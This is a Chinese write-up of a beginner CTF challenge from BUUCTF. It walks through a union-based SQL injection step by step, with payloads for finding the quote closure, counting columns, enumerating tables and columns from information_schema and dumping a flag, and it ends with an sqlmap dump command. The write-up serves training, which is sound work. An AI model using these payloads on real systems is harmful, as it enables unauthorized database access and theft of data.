[第一章 web入门]SQL注入-1 题目分析与详解

简介: [第一章 web入门]SQL注入-1 题目分析与详解

一、题目简介

题目来源:BUUCTF网址

题目介绍如图:获取flag值。


二、解题思路:

首先看到题目主页面有一段文字,貌似没有什么作用,我们先使用HackBar导入URL。

我们发现?id=1,可知这是一个很基础的SQL注入题目,我们首先要进行注入类型的判断,判断本次SQL注入是字符型注入还是数字型注入。

我们首先判断是否位数字型注入。

?id=1 and 1=2

假设注入就是数字型注入,那么此时后端语句变成了 select * from users where id = 1 and 1=2;那么页面应该显示报错,可是提交后发现,页面保持不变,由此可以断定,本次注入不是数字型注入。

既然我们已经判断出其不是数字型注入,那么就是字符型注入,我们就需要判断其闭合类型是什么。首先尝试单引号闭合。

?id=1' and 1=2--+

假设闭合方式就是单引号,那么后端语句即为:

select * from users where id='1' and 1=2 --+';

那么页面同样应该显示报错信息,我们进行提交看看:

果然页面信息不显示了,这就正好说明本次字符型注入的闭合方式为 单引号闭合。

清楚闭合方式之后,我们就要判断字段数的数量--通过order by number来解决。

?id=1' order by + 字段数 --+

当我们判断字段数为3时:

当我们判断字段数为4时:

我们发现字段数为3时显示正常,而为4时页面发生了变化,说明字段数为3。然后进行查询回显位,只有找到回显位,才能让flag在回显位上被我们看到。

?id=-1' union select 1,2,3--+

回显位如图所示:

发现回显位之后,进行爆表就可以了。

首先查询数据库中的表名:

union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()--+

我们发现数据库中存在两张表,其中一张表叫做fl4g,我们大胆猜想flag就在表fl4g中。

于是我们就查询表fl4g中的列名。

union select 1,database(),group_concat(column_name)from information_schema.columns where table_name='fl4g'--+

我们发现一个名叫作 fllllag的列,flag值很有可能就在fllllag中,我们查询fllllag中的内容。

union select 1,database(),group_concat(fllllag)from fl4g--+

我们看到成功获取了flag的值,提交---通过。


sqlmap解法:

我们也可以使用工具 sqlmap来解决这道题目。

sqlmap -u http://5e77ef3c-a640-4be4-ad44-c836aa77ead7.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump --batch

相关文章
|
2月前
|
SQL 数据可视化 关系型数据库
MCP与PolarDB集成技术分析:降低SQL门槛与简化数据可视化流程的机制解析
阿里云PolarDB与MCP协议融合,打造“自然语言即分析”的新范式。通过云原生数据库与标准化AI接口协同,实现零代码、分钟级从数据到可视化洞察,打破技术壁垒,提升分析效率99%,推动企业数据能力普惠化。
236 3
|
3月前
|
SQL 分布式计算 大数据
SparkSQL 入门指南:小白也能懂的大数据 SQL 处理神器
在大数据处理的领域,SparkSQL 是一种非常强大的工具,它可以让开发人员以 SQL 的方式处理和查询大规模数据集。SparkSQL 集成了 SQL 查询引擎和 Spark 的分布式计算引擎,使得我们可以在分布式环境下执行 SQL 查询,并能利用 Spark 的强大计算能力进行数据分析。
|
6月前
|
SQL 关系型数据库 MySQL
凌晨2点报警群炸了:一条sql 执行200秒!搞定之后,我总结了一个慢SQL查询、定位分析解决的完整套路
凌晨2点报警群炸了:一条sql 执行200秒!搞定之后,我总结了一个慢SQL查询、定位分析解决的完整套路
凌晨2点报警群炸了:一条sql 执行200秒!搞定之后,我总结了一个慢SQL查询、定位分析解决的完整套路
|
6月前
|
SQL 算法 数据挖掘
【SQL周周练】:利用行车轨迹分析犯罪分子作案地点
【SQL破案系列】第一篇: 如果监控摄像头拍下了很多车辆的行车轨迹,那么如何利用这些行车轨迹来分析车辆运行的特征,是不是能够分析出犯罪分子“踩点”的位置
193 15
|
7月前
|
SQL 关系型数据库 MySQL
【MySQL】SQL分析的几种方法
以上就是SQL分析的几种方法。需要注意的是,这些方法并不是孤立的,而是相互关联的。在实际的SQL分析中,我们通常需要结合使用这些方法,才能找出最佳的优化策略。同时,SQL分析也需要对数据库管理系统,数据,业务需求有深入的理解,这需要时间和经验的积累。
261 12
|
10月前
|
SQL 存储 机器学习/深度学习
如何让SQL速度飞起来 入门YashanDB优化器
优化器,SQL引擎的核心组成部分,是数据库中用于把关系表达式转换成最优执行计划的核心组件,影响数据库系统执行性能的关键组件之一。
123 15
|
11月前
|
Java 开发者 微服务
Spring Boot 入门:简化 Java Web 开发的强大工具
Spring Boot 是一个开源的 Java 基础框架,用于创建独立、生产级别的基于Spring框架的应用程序。它旨在简化Spring应用的初始搭建以及开发过程。
608 7
Spring Boot 入门:简化 Java Web 开发的强大工具
|
SQL 数据库 开发者
ClkLog埋点分析系统支持自定义SQL 查询
本期主要为大家介绍ClkLog九月上线的新功能-自定义SQL查询。
ClkLog埋点分析系统支持自定义SQL 查询
|
11月前
|
安全 程序员 PHP
实验室信创平台上几道经典的web-php有关的题目wp
本内容介绍了多个CTF题目及其解题思路,涵盖正则表达式、PHP函数、代码审计等方面。例如,通过POST提交和正则匹配获取flag,利用PHP的松散比较和数组特性绕过验证,以及通过恢复VIM临时文件和SVN隐藏文件夹获取关键信息。每个题目都提供了详细的解题步骤和相关链接,适合初学者学习和实践。
190 1
|
12月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
422 2